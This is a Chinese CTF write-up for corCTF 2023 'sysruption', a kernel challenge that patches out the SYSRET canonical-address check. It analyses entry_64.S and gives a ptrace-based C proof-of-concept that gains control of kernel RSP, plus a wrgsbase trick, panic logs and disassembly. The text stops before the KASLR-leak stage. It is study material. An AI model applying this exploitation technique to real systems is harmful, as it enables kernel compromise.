corCTF2023-sysruption赛题复现

同样,本题仍然是由will’s root所出的高质量题目,包含知识点系统调用,微架构以及侧信道的知识,从中可以学到大量基础知识

0x00 题目审查

我们完全可以相信大师的慷慨程度,题目直接给出题目的patch和整个kconfig,Wonderfull!,这样我们就可以在拥有符号表的情况下获得题目一样的环境

内核版本为6.3.4

我们可以简单查看一下该patch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
--- orig_entry_64.S
+++ linux-6.3.4/arch/x86/entry/entry_64.S
@@ -150,13 +150,13 @@
 	ALTERNATIVE "shl $(64 - 48), %rcx; sar $(64 - 48), %rcx", \
 		"shl $(64 - 57), %rcx; sar $(64 - 57), %rcx", X86_FEATURE_LA57
 #else
-	shl	$(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
-	sar	$(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
+	# shl	$(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
+	# sar	$(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
 #endif
 
 	/* If this changed %rcx, it was not canonical */
-	cmpq	%rcx, %r11
-	jne	swapgs_restore_regs_and_return_to_usermode
+	# cmpq	%rcx, %r11
+	# jne	swapgs_restore_regs_and_return_to_usermode
 
 	cmpq	$__USER_CS, CS(%rsp)		/* CS must match SYSRET */
 	jne	swapgs_restore_regs_and_return_to_usermode

可以清楚的看见该diff告诉我们该内核版本是将entry_SYSCALL_64这个系统调用入口函数的某一部分进行了注释,那么修改这两项有什么用呢,我们此时需要分析linux内核源码来知晓这一点,接下来我将逐行解析该函数

0x01 Intel中的sysret

分析函数之前,我们需要祈祷该函数的开发者对于函数拥有足够的解释来帮助我们快速的了解它,庆幸的是linux内核通常对这点做的很好(至少在我目前分析到的代码中是这样)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/*
 * 64-bit模式下系统调用指令的入口点. Up to 6 arguments in registers.
 * 这是用于 64 位系统调用的唯一入口点/硬件接口设计合理，寄存器
 * Linux 使用的参数映射与寄存器非常吻合 
 * 使用 SYSCALL 时可用。
 *
 * SYSCALL instructions can be found inlined in libc implementations as
 * well as some other programs and libraries.  There are also a handful
 * of SYSCALL instructions in the vDSO used, for example, as a
 * clock_gettimeofday fallback.
 * 64-bit模式下的SYSCALL指令即将保存rip到rcx,并清空rflags.RF位,然后将rflags  * 寄存器保存到r11,然后加载新的ss, cs,并且加载来自于预编码的MSRs寄存器的rip
 * rflags 被另一个 MSR 的值屏蔽（因此不需要 CLD 和 CLAC）。 SYSCALL 不会在堆 * 栈上保存任何内容，也不会更改 rsp。 
 *
 * Registers on entry:
 * rax  system call number
 * rcx  return address
 * r11  saved rflags (note: r11 is callee-clobbered register in C ABI)
 * rdi  arg0
 * rsi  arg1
 * rdx  arg2
 * r10  arg3 (needs to be moved to rcx to conform to C ABI)
 * r8   arg4
 * r9   arg5
 * (note: r12-r15, rbp, rbx are callee-preserved in C ABI)
 *
 * 仅从用户空间调用
 *
 * When user can change pt_regs->foo always force IRET. That is because
 * it deals with uncanonical addresses better. SYSRET has trouble
 * with them due to bugs in both AMD and Intel CPUs.
 */

查看了注释部分我们可以大致了解syscall指令做了什么,然后我们接着看整体系统调用的入口函数执行过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
SYM_CODE_START(entry_SYSCALL_64)
	UNWIND_HINT_ENTRY
	ENDBR

	swapgs              /* 切换用户的gs_base和内核态的k_gs_base, 这个gs_base在用户态已经弃用,转而使用fs_base寄存器,所以这里仅仅是为了内核而已 */
	/* tss.sp2 仅仅是一个临时存放我们用户栈地址的空间,注意,此时我们并没有修改rsp,所以现在仍然使用的是用户态的栈 */
	movq	%rsp, PER_CPU_VAR(cpu_tss_rw + TSS_sp2)
	SWITCH_TO_KERNEL_CR3 scratch_reg=%rsp
	movq	PER_CPU_VAR(pcpu_hot + X86_top_of_stack), %rsp  /* 内核栈赋值给rsp */

SYM_INNER_LABEL(entry_SYSCALL_64_safe_stack, SYM_L_GLOBAL)
	ANNOTATE_NOENDBR

	/* 在栈上构造pt_regs 结构体 */
	pushq	$__USER_DS				/* pt_regs->ss */
	pushq	PER_CPU_VAR(cpu_tss_rw + TSS_sp2)	/* pt_regs->sp */
	pushq	%r11					/* pt_regs->flags */
	pushq	$__USER_CS				/* pt_regs->cs */
	pushq	%rcx					/* pt_regs->ip */
SYM_INNER_LABEL(entry_SYSCALL_64_after_hwframe, SYM_L_GLOBAL)
	pushq	%rax					/* pt_regs->orig_ax */

	PUSH_AND_CLEAR_REGS rax=$-ENOSYS

	/* IRQs are off. */
	movq	%rsp, %rdi
	/* Sign extend the lower 32bit as syscall numbers are treated as int */
	movslq	%eax, %rsi

	/* clobbers %rax, make sure it is after saving the syscall nr */
	IBRS_ENTER
	UNTRAIN_RET

	call	do_syscall_64		/* returns with IRQs disabled */

...

这里一共办了三件事:

  1. 由硬件自动的加载rip到rcx,rflags到r11当中,其中当然包含了一些段寄存器cs,ss的切换,但是栈指针没换
  2. 由内核实现的入口函数切换rsp为内核栈,然后构造pt_regs结构体用来保存用户态的其它信息,例如普通寄存器,用户段寄存器等等
  3. 调用do_syscall_64来根据rax执行真正的系统调用处理函数

好了知道这一点之后我们来看对于本题比较重要的后半部分,也就是do_syscall_64之后直到sysret的这一部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102

	/*
     * 如果我们要返回到完全干净的 64 位用户空间上下文，请尝试使用 SYSRET 而      * 不是 IRET。   如果没有，请走慢速出口路径。       
     * 在 Xen PV 的情况下，我们无论如何都必须使用 iret。
	 */

	ALTERNATIVE "", "jmp	swapgs_restore_regs_and_return_to_usermode", \
		X86_FEATURE_XENPV
movq	RCX(%rsp), %rcx         //获取pt_regs->rcx
	movq	RIP(%rsp), %r11         //同上

	cmpq	%rcx, %r11	/* SYSRET 需要满足RCX == RIP,至于这里是为什么呢,因为在syscall的时候硬件会将rip保存到rcx当中 */
	jne	swapgs_restore_regs_and_return_to_usermode

	/*
	 * 在Intel CPU架构下, SYSRET 这条指令如果执行时伴随着non-canonical RCX/RIP 将会在内核空间导致#GP异常
     * 这将使得用户能掌控这个内核,因为用户空间控制着rsp
	 *
	 * If width of "canonical tail" ever becomes variable, this will need
	 * to be updated to remain correct on both old and new CPUs.
	 *
	 * Change top bits to match most significant bit (47th or 56th bit
	 * depending on paging mode) in the address.
	 */
#ifdef CONFIG_X86_5LEVEL
	ALTERNATIVE "shl $(64 - 48), %rcx; sar $(64 - 48), %rcx", \
		"shl $(64 - 57), %rcx; sar $(64 - 57), %rcx", X86_FEATURE_LA57
#else
	shl	$(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx                  //判断高16位是否一致
	sar	$(64 - (__VIRTUAL_MASK_SHIFT+1)), %rcx
#endif

	/* 如果rcx修改了说明并不是canonical地址 */
	cmpq	%rcx, %r11
	jne	swapgs_restore_regs_and_return_to_usermode

	cmpq	$__USER_CS, CS(%rsp)		/* CS must match SYSRET */
	jne	swapgs_restore_regs_and_return_to_usermode

	movq	R11(%rsp), %r11
	cmpq	%r11, EFLAGS(%rsp)		/* R11 == RFLAGS */
	jne	swapgs_restore_regs_and_return_to_usermode

	/*
	 * SYSCALL clears RF when it saves RFLAGS in R11 and SYSRET cannot
	 * restore RF properly. If the slowpath sets it for whatever reason, we
	 * need to restore it correctly.
	 *
	 * SYSRET can restore TF, but unlike IRET, restoring TF results in a
	 * trap from userspace immediately after SYSRET.  This would cause an
	 * infinite loop whenever #DB happens with register state that satisfies
	 * the opportunistic SYSRET conditions.  For example, single-stepping
	 * this user code:
	 *
	 *           movq	$stuck_here, %rcx
	 *           pushfq
	 *           popq %r11
	 *   stuck_here:
	 *
	 * would never get past 'stuck_here'.
	 */
	testq	$(X86_EFLAGS_RF|X86_EFLAGS_TF), %r11
	jnz	swapgs_restore_regs_and_return_to_usermode

	/* nothing to check for RSP */

	cmpq	$__USER_DS, SS(%rsp)		/* SS must match SYSRET */
	jne	swapgs_restore_regs_and_return_to_usermode

	/*
	 * We win! This label is here just for ease of understanding
	 * perf profiles. Nothing jumps here.
	 */
syscall_return_via_sysret:
	IBRS_EXIT
	POP_REGS pop_rdi=0      /* 将pt_regs大部分pop出来 */

	/*
	 * 除了RSP and RDI.所有寄存器都被恢复
	 * 保存旧的栈指针然后切换到临时栈,这里的临时栈位于虚拟地址cpu_entry_area_mapping,
	 */
	movq	%rsp, %rdi
	movq	PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp   
	UNWIND_HINT_EMPTY

	pushq	RSP-RDI(%rdi)	/* RSP */
	pushq	(%rdi)		/* RDI */

	/*
	 * We are on the trampoline stack.  All regs except RDI are live.
	 * We can do future final exit work right here.
	 */
	STACKLEAK_ERASE_NOCLOBBER

	SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi

	popq	%rdi
	popq	%rsp        /* 这里恢复了用户态的rsp,也就是说在sysret之前我们已经将rsp恢复了 */
SYM_INNER_LABEL(entry_SYSRETQ_unsafe_stack, SYM_L_GLOBAL)
	ANNOTATE_NOENDBR
	swapgs          /* 交换用户态和内核态的gs_base */
	sysretq         /* 执行sysret */

这里总结为以下几个步骤:

  1. 检查rcx是否是canonical
  2. 恢复用户空间的寄存器,其中包括我们的用户空间RSP
  3. 执行sysret指令

对于sysret指令做了什么,我们需要查看万能的Intel手册

SYSRET 是SYSCALL的伙伴指令. 它从操作系统系统调用处理程序返回到特权级别 3 的用户代码。它通过从 RCX 加载 RIP 并从 R11加载 RFLAGS 来实现。对于 64 位操作数大小，SYSRET 保持在 64 位模式； 否则，进入兼容模式并且仅加载寄存器的低32位。
SYSRET 从IA32_STAR MSR的63:48加载CS和SS选择子 然而CS 和 SS 描述符缓存不是从这些选择器引用的描述符（在 GDT 或 LDT 中）加载的.
相反，描述符缓存加载有固定值。 详细信息请参见操作部分。 操作系统软件有责任确保这些选择器值引用的描述符（在 GDT 或 LDT 中）与加载到描述符缓存中的固定值相对应； SYSRET 指令不确保这种对应关系。
SYSRET 指令不会修改堆栈指针（ESP 或 RSP）。 因此，软件有必要切换到用户堆栈。 操作系统可能会在执行 SYSRET 之前加载用户堆栈指针（如果在 SYSCALL 之后保存）； 或者，用户代码可以在从 SYSRET 接收控制后加载堆栈指针（如果它在 SYSCALL 之前保存）。
下面是Intel手册上给出的关于sysret指令的伪代码

1
2
3
4
5
6
7
8
9
10
11
IF (CS.L ≠ 1 ) or (IA32_EFER.LMA ≠ 1) or (IA32_EFER.SCE ≠ 1)
(* Not in 64-Bit Mode or SYSCALL/SYSRET not enabled in IA32_EFER *)
THEN #UD; FI;
IF (CPL ≠ 0) THEN #GP(0); FI;
IF (operand size is 64-bit)
THEN (* Return to 64-Bit Mode *)
IF (RCX is not canonical) THEN #GP(0);
RIP := RCX;
ELSE (* Return to Compatibility Mode *)
RIP := ECX;
FI;

那么如果我们将题目所给的patch联系起来会发生什么,我们可以知道如果我们的rcx是一个non-canonical地址的话,将会在sysretq指令执行时触发内核态的GP异常,并且此时在sysret前我们恢复了我们的栈指针,这将导致我们可以控制在内核态下的RSP,而导致这一异常的原因是因为Intel本身CPU处理器架构的设计

下面分别是Intel 和 AMD在处理non-canonical地址的伪指令

1
2
3
4
5
6
7
8
9
10
11
12
13
------------------ INTEL -------------------|-------------------  AMD ----------------------
...                                         | ...
IF (operand size is 64-bit)                 | SYSRET_64BIT_MODE:
    THEN (* Return to 64-Bit Mode *)        | IF (OPERAND_SIZE == 64) {
    IF (RCX is not canonical) THEN #GP(0);  | {
        RIP := RCX;                         |      CS.sel = (MSR_STAR.SYSRET_CS + 16) OR 3
    ELSE (* Return to Compatibility Mode *) |      ...
        RIP := ECX;                         | }
FI;                                         | ...
...                                         | RIP = temp_RIP
CS.Selector := CS.Selector OR 3;            | EXIT
            (* RPL forced to 3 *)           |
...                                         |

这里最大的差别就是GP异常的发出时间,AMD我们可以看到是先切换CS选择子再报出GP异常,这导致从低特权发出GP异常需要从TSS段当中加载临时栈指针,而Intel架构当中如果从内核发出GP异常则不会切换当前栈指针

好的,既然已经说明了漏洞的存在,我们该如何利用他呢,也就是说从哪儿构造出这么一个non-canonical地址呢?
起初有大师猜测这个非规范地址的构造我们可以在非规范页面的边界进行系统调用,这样导致rip自增从而变成非规范地址,但是Linux似乎不允许访问映射的该页.

这样下来在zolutal师傅寻找到的sysret bugs早爆出的cve当中使用到了ptrace的手法来修改我们的rip

0x02 Ptrace 进行寄存器修改

从网上可以寻找到许多对于ptrace系统调用的使用,我们可以从帮助手册当中搜寻信息:

The ptrace() system call provides a means by which one process (the “tracer”) may ob‐
serve and control the execution of another process (the “tracee”), and examine and
change the tracee’s memory and registers. It is primarily used to implement break‐
point debugging and system call tracing.

这里我们就将子进程作为tracee,父进程作为tracer来进行patch,我们首先要理顺我们的目的:

  1. 我们需要sysret触发GPF
  2. 触发异常需要判定rcx是否是non-canonical地址
  3. 而经过调试可以发现ptrace系统调用修改寄存器是在do_syscall_64执行中间进行修改的
  4. 同样经过调试还有syscall的注释我们知道rcx最初是被赋值为rip的,所以在内核栈上构造的pt_regs->rcx和pt_regs->rip是同样的值(别犟,我调过)
  5. 因此我们需要同时修改rip和rcx来避免某种一致性检查,然后为了减少我们的失误风险,我们可以将一些重要的寄存器同时给设置了,这样我们就构造出下面的一个初期poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47

static int do_sysret(uint64_t addr, struct user_regs_struct *user_regs) {
  long orig_rax;
  int status;
  struct user_regs_struct regs;
  size_t kernel_gs_base = KERNEL_GS_BASE + physmap_offset;
  memcpy(&regs, user_regs, sizeof(struct user_regs_struct));
  trace_pid = fork();
  if (trace_pid < 0) {
    perror("fork failed");
    exit(1);
  }
  if (!trace_pid) { // 如果为0则说明是child
    if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {     //代表自动让父进程作为tracer
      perror("PTRACE_TRACEME");
      exit(1);
    }

    raise(SIGSTOP);         //通知父进程哥们要fork了
    fork();
    return 0;
  } else { // 否则是father
    waitpid(trace_pid, &status, 0);
    // 设置选项在下一个fork处停止被tracee，并自动开始跟踪新分叉的进程，该进程将以SIGSTOP
    // 或 PTRACE_EVENT_STOP（如果使用PTRACE_SEIZE）开始。
    ptrace(PTRACE_SETOPTIONS, trace_pid, 0, PTRACE_O_TRACEFORK);
    ptrace(PTRACE_CONT, trace_pid, 0, 0);           //继续中断的子进程
    waitpid(trace_pid, &status, 0);             //执行到这儿说明子进程已经断在fork了
    regs.rip = 0x8000000000000000;              //一眼顶针non-canonical (bushi
    regs.rcx = 0x8000000000000000;
    regs.rsp = addr;
    regs.eflags = 0x246;
    regs.r11 = 0x246;
    regs.ss = 0x2b;
    regs.cs = 0x33;
    /* construct the fake path */
    ptrace(PTRACE_SETREGS, trace_pid, NULL, &regs);
    ptrace(PTRACE_CONT, trace_pid, 0, 0);
    ptrace(PTRACE_DETACH, trace_pid, 0, 0);
    return 0;
  }
}

int main(void){
  struct user_regs_struct gift_house;
  do_sysret((uint64_t)0xdeadbeef, &gift_house); //
}

该poc应该是简单易懂,此时我们直接上机运行,我们立刻就出现了内核panic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
ctf@corctf:~$ [    4.360500] traps: PANIC: double fault, error_code: 0x0
[    4.360506] double fault: 0000 [#1] PREEMPT SMP NOPTI
[    4.360512] CPU: 0 PID: 78 Comm: exploit Not tainted 6.3.4 #7
[    4.360517] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.16.3-4
[    4.360519] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[    4.360530] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 8
[    4.360533] RSP: 0018:00000000deadbeef EFLAGS: 00010046
[    4.360538] RAX: 000000000000004f RBX: 000000000040f4f4 RCX: 8000000000000000
[    4.360541] RDX: 00000000004b5970 RSI: 00000000017c26f0 RDI: 00007fffd1cfb5c0
[    4.360543] RBP: 00007fffd1d9d218 R08: 000000000040f4f4 R09: 00007fffd1cfb59e
[    4.360545] R10: 00000000017c25e0 R11: 0000000000000246 R12: 000000000040f4f4
[    4.360547] R13: 0000000000000000 R14: 0000000000021050 R15: 00000000004ae7c0
[    4.360549] FS:  000000000040ffb2(0000) GS:ffff88813bc00000(0000) knlGS:ffff88813bc00000
[    4.360558] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.360561] CR2: 00000000deadbed8 CR3: 0000000100a7e005 CR4: 0000000000770ef0
[    4.360563] PKRU: 55555554
[    4.360565] Call Trace:
[    4.360566] Modules linked in:
[    4.369035] ---[ end trace 0000000000000000 ]---
[    4.369036] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[    4.369038] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 8
[    4.369039] RSP: 0018:00000000deadbeef EFLAGS: 00010046
[    4.369039] RAX: 000000000000004f RBX: 000000000040f4f4 RCX: 8000000000000000
[    4.369040] RDX: 00000000004b5970 RSI: 00000000017c26f0 RDI: 00007fffd1cfb5c0
[    4.369040] RBP: 00007fffd1d9d218 R08: 000000000040f4f4 R09: 00007fffd1cfb59e
[    4.369041] R10: 00000000017c25e0 R11: 0000000000000246 R12: 000000000040f4f4
[    4.369041] R13: 0000000000000000 R14: 0000000000021050 R15: 00000000004ae7c0
[    4.369042] FS:  000000000040ffb2(0000) GS:ffff88813bc00000(0000) knlGS:ffff88813bc00000
[    4.369044] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.369044] CR2: 00000000deadbed8 CR3: 0000000100a7e005 CR4: 0000000000770ef0
[    4.369045] PKRU: 55555554
[    4.369045] Kernel panic - not syncing: Fatal exception in interrupt
[    4.369180] Kernel Offset: disabled

从中我们可以看出内核PANIC后面跟着的是double fault,什么是double fault呢?真的就是字面意思,两次fault,甚至还有triple fault
但triple fault不涉及本次题目,这里出现double fault对于我们来说是成功的早期标识但也使得我们需要面对下一个挑战,为什么这么说呢?
立刻揭晓,double fault说明我们成功触发了GPF异常,但是GPF异常的处理程序执行过程中又触发了错误,那么接下来我们的任务就是需要去解决它,
我们可以直接查看GPF的处理程序asm_exc_general_protection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pwndbg> x/20i asm_exc_general_protection 
   0xffffffff81a00a90 <asm_exc_general_protection>:	nop
   0xffffffff81a00a91 <asm_exc_general_protection+1>:	nop
   0xffffffff81a00a92 <asm_exc_general_protection+2>:	nop
   0xffffffff81a00a93 <asm_exc_general_protection+3>:	cld
   0xffffffff81a00a94 <asm_exc_general_protection+4>:	
    call   0xffffffff81a011c0 <error_entry>
   0xffffffff81a00a99 <asm_exc_general_protection+9>:	mov    rsp,rax
   0xffffffff81a00a9c <asm_exc_general_protection+12>:	mov    rdi,rsp
   0xffffffff81a00a9f <asm_exc_general_protection+15>:	mov    rsi,QWORD PTR [rsp+0x78]
   0xffffffff81a00aa4 <asm_exc_general_protection+20>:	
    mov    QWORD PTR [rsp+0x78],0xffffffffffffffff
   0xffffffff81a00aad <asm_exc_general_protection+29>:	
    call   0xffffffff81816050 <exc_general_protection>

这里看到对于GP异常的入口函数并没有过多的操作,然后他调用了error_entry函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
pwndbg> x/70i error_entry
   0xffffffff81a011c0 <error_entry>:	push   rsi
   0xffffffff81a011c1 <error_entry+1>:	mov    rsi,QWORD PTR [rsp+0x8]
   0xffffffff81a011c6 <error_entry+6>:	mov    QWORD PTR [rsp+0x8],rdi
   0xffffffff81a011cb <error_entry+11>:	push   rdx
   0xffffffff81a011cc <error_entry+12>:	push   rcx
   0xffffffff81a011cd <error_entry+13>:	push   rax
   0xffffffff81a011ce <error_entry+14>:	push   r8
   0xffffffff81a011d0 <error_entry+16>:	push   r9
   0xffffffff81a011d2 <error_entry+18>:	push   r10
   0xffffffff81a011d4 <error_entry+20>:	push   r11
   0xffffffff81a011d6 <error_entry+22>:	push   rbx
   0xffffffff81a011d7 <error_entry+23>:	push   rbp
   0xffffffff81a011d8 <error_entry+24>:	push   r12
   0xffffffff81a011da <error_entry+26>:	push   r13
   0xffffffff81a011dc <error_entry+28>:	push   r14
   0xffffffff81a011de <error_entry+30>:	push   r15
   0xffffffff81a011e0 <error_entry+32>:	push   rsi
   0xffffffff81a011e1 <error_entry+33>:	xor    esi,esi
   0xffffffff81a011e3 <error_entry+35>:	xor    edx,edx
   0xffffffff81a011e5 <error_entry+37>:	xor    ecx,ecx
   0xffffffff81a011e7 <error_entry+39>:	xor    r8d,r8d
   0xffffffff81a011ea <error_entry+42>:	xor    r9d,r9d
   0xffffffff81a011ed <error_entry+45>:	xor    r10d,r10d
   0xffffffff81a011f0 <error_entry+48>:	xor    r11d,r11d
   0xffffffff81a011f3 <error_entry+51>:	xor    ebx,ebx
   0xffffffff81a011f5 <error_entry+53>:	xor    ebp,ebp
   0xffffffff81a011f7 <error_entry+55>:	xor    r12d,r12d
   0xffffffff81a011fa <error_entry+58>:	xor    r13d,r13d
   0xffffffff81a011fd <error_entry+61>:	xor    r14d,r14d
   0xffffffff81a01200 <error_entry+64>:	xor    r15d,r15d
   0xffffffff81a01203 <error_entry+67>:	test   BYTE PTR [rsp+0x90],0x3
   0xffffffff81a0120b <error_entry+75>:	je     0xffffffff81a0125c <error_entry+156>
   0xffffffff81a0120d <error_entry+77>:	swapgs

这里可以看到有很多压栈操作,而由于我们可以控制进入GPF的rsp,因此就可以导致出现任意写的操作,
这里还有一个点就是在 0xffffffff81a01203会进行一个比较,这里是在比较的栈上所存储的值是在执行sysret出现GP异常的过程中在栈上保存的cs寄存器的值,这里由于我们仍然是内核态,所以值为0x10,因此不会进行下面的swapgs
然后这样在error_entry跳出进入exc_general_protection会出现问题,其中代码如下:

1
2
3
4
5
6
7
8
9
pwndbg> x/20i exc_general_protection 
   0xffffffff81816050 <exc_general_protection>:	push   r14
   0xffffffff81816052 <exc_general_protection+2>:	push   r13
   0xffffffff81816054 <exc_general_protection+4>:	push   r12
   0xffffffff81816056 <exc_general_protection+6>:	push   rbp
   0xffffffff81816057 <exc_general_protection+7>:	push   rbx
   0xffffffff81816058 <exc_general_protection+8>:	mov    rbx,rdi
   0xffffffff8181605b <exc_general_protection+11>:	sub    rsp,0x70
   0xffffffff8181605f <exc_general_protection+15>:	mov    r12,QWORD PTR gs:0x28

看到最后一行我们是调用了gs寄存器,而由于我们在sysret之前就进行swapgs将gs切换成了我们的用户gs(默认为0,因为用户态不用),因此报错的原因就出现在内核态的GPF中使用gs寄存器的时候发现不是处于特权段从而报错,因此我们接下来的目标便是修改我们的这个gs_base的值为一个内核的值,当然最好的情况就是内核本身处于内核态的时候所拥有的gs_base

0x03 修改用户gs_base

由于用户态已经弃用gs_base,所以我们修改它理论上是不会有任何问题的,而我们查看ptrace系统调用的PTRACE_SETREGS标志位的时候使用到的寄存器数据结构是拥有gs_base的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

struct user_regs_struct {
	unsigned long	r15;
	unsigned long	r14;
	unsigned long	r13;
	unsigned long	r12;
	unsigned long	bp;
	unsigned long	bx;
	unsigned long	r11;
	unsigned long	r10;
	unsigned long	r9;
	unsigned long	r8;
	unsigned long	ax;
	unsigned long	cx;
	unsigned long	dx;
	unsigned long	si;
	unsigned long	di;
	unsigned long	orig_ax;
	unsigned long	ip;
	unsigned long	cs;
	unsigned long	flags;
	unsigned long	sp;
	unsigned long	ss;
	unsigned long	fs_base;
	unsigned long	gs_base;
	unsigned long	ds;
	unsigned long	es;
	unsigned long	fs;
	unsigned long	gs;
};

所以我们实际上可以尝试直接使用ptrace来对syscall进行修改,但是我们最终会发现修改并不会生效,实际源码可以查看 

1
2
3
4
arch_ptrace
    copy_regset_from_user
        regset->sets   genregs_set
            putreg

最后看到putreg代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

static int putreg(struct task_struct *child,
		  unsigned long offset, unsigned long value)
{
	switch (offset) {
	case offsetof(struct user_regs_struct, cs):
	case offsetof(struct user_regs_struct, ds):
	case offsetof(struct user_regs_struct, es):
	case offsetof(struct user_regs_struct, fs):
	case offsetof(struct user_regs_struct, gs):
	case offsetof(struct user_regs_struct, ss):
		return set_segment_reg(child, offset, value);

	case offsetof(struct user_regs_struct, flags):
		return set_flags(child, value);

#ifdef CONFIG_X86_64
	case offsetof(struct user_regs_struct,fs_base):
		if (value >= TASK_SIZE_MAX)
			return -EIO;
		x86_fsbase_write_task(child, value);
		return 0;
	case offsetof(struct user_regs_struct,gs_base):
		if (value >= TASK_SIZE_MAX)
			return -EIO;
		x86_gsbase_write_task(child, value);
		return 0;
#endif
	}

	*pt_regs_access(task_pt_regs(child), offset) = value;
	return 0;
}

我们知道如果说我们的值在设置gs_base的时候超过了TASK_SIZE_MAX(1<<47-0x1000),那么我们的设置就不会生效
所以我们这里是无法通过ptrace来将gs_base设置为一个内核指针的,那么我们该如何设置他呢?

越学到后面越发掘自身的知识浅薄,不仅如此身边的宝库🪙也没曾好好利用,这里所说的就是Intel圣经🐶:Intel_sdm,对于任何Intel架构上的一些知识都可以到这本万能宝典查找,里面从指令集到寄存器,段选择子等描述都十分详细,虽然是英文看起来比较麻烦,但是这也让我们能原汁原味的读到官方对于某个概念的解释,这也省去了总是觉得某些翻译不太准确从而理解困难的场景

Intel的fsgsbase已经支持一段时间了,这是原作者和一血师傅都说出的一句话,因此我们去Intel手册查找他

着眼于WRGSBASE,这条指令允许我们可以从源寄存器当中加载gs_base,这样下去如果我们提前找到内核的gs_base的话就可以提前写入,而我们内核的gs_base在内核当中的虚拟地址在不开启KASLR的情况下是固定的,
我们应该就可以避免触发double_fault,我们立刻尝试一下,这里修改一下传递的rsp设置为内核地址

1
asm volatile("wrgsbase %0" ::"r"(kernel_gs_base));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
ctf@corctf:~$ /exploit
ctf@corctf:~$ [    4.423377] general protection fault, maybe for address 0x4f: 0000 [#1] PREEI
[    4.424848] CPU: 0 PID: 78 Comm: exploit Not tainted 6.3.4 #7
[    4.425856] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.16.3-4
[    4.427521] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[    4.428506] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 8
[    4.429542] RSP: 0018:ffff888000001000 EFLAGS: 00010046
[    4.429776] RAX: 000000000000004f RBX: 0000000000000000 RCX: 8000000000000000
[    4.430094] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000
[    4.430412] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[    4.430731] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
[    4.431052] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
[    4.431380] FS:  0000000000000000(0000) GS:ffff88813bc00000(0000) knlGS:ffff88813bc00000
[    4.431748] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.432008] CR2: 0000000001a74ca8 CR3: 0000000100a7e005 CR4: 0000000000770ef0
[    4.432329] PKRU: 55555554
[    4.432455] Call Trace:
[    4.432571] Modules linked in:
[    4.432713] ---[ end trace 0000000000000000 ]---
[    4.432922] RIP: 0010:entry_SYSRETQ_unsafe_stack+0x3/0x6
[    4.433161] Code: 3c 25 d6 0f 02 00 48 89 c7 eb 08 48 89 c7 48 0f ba ef 3f 48 81 cf 00 08 8
[    4.433985] RSP: 0018:ffff888000001000 EFLAGS: 00010046
[    4.434224] RAX: 000000000000004f RBX: 0000000000000000 RCX: 8000000000000000
[    4.434598] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000
[    4.434921] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[    4.435241] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
[    4.435582] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
[    4.435900] FS:  0000000000000000(0000) GS:ffff88813bc00000(0000) knlGS:ffff88813bc00000
[    4.436259] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.436524] CR2: 0000000001a74ca8 CR3: 0000000100a7e005 CR4: 0000000000770ef0
[    4.436853] PKRU: 55555554
[    4.436982] note: exploit[78] exited with irqs disabled

可以看到我们此时的panic报错已经不是double Fault了😸

0x04 怎么写,如何写,怎么写的比别人快,比别人好(bushi

由于截至目前我们的利用都是建立在nokaslr的条件下,因此我们在kaslr开启后需要泄漏的偏移为如下两处:

  1. kernel代码段的基地址,为了利用一些内核的数据结构
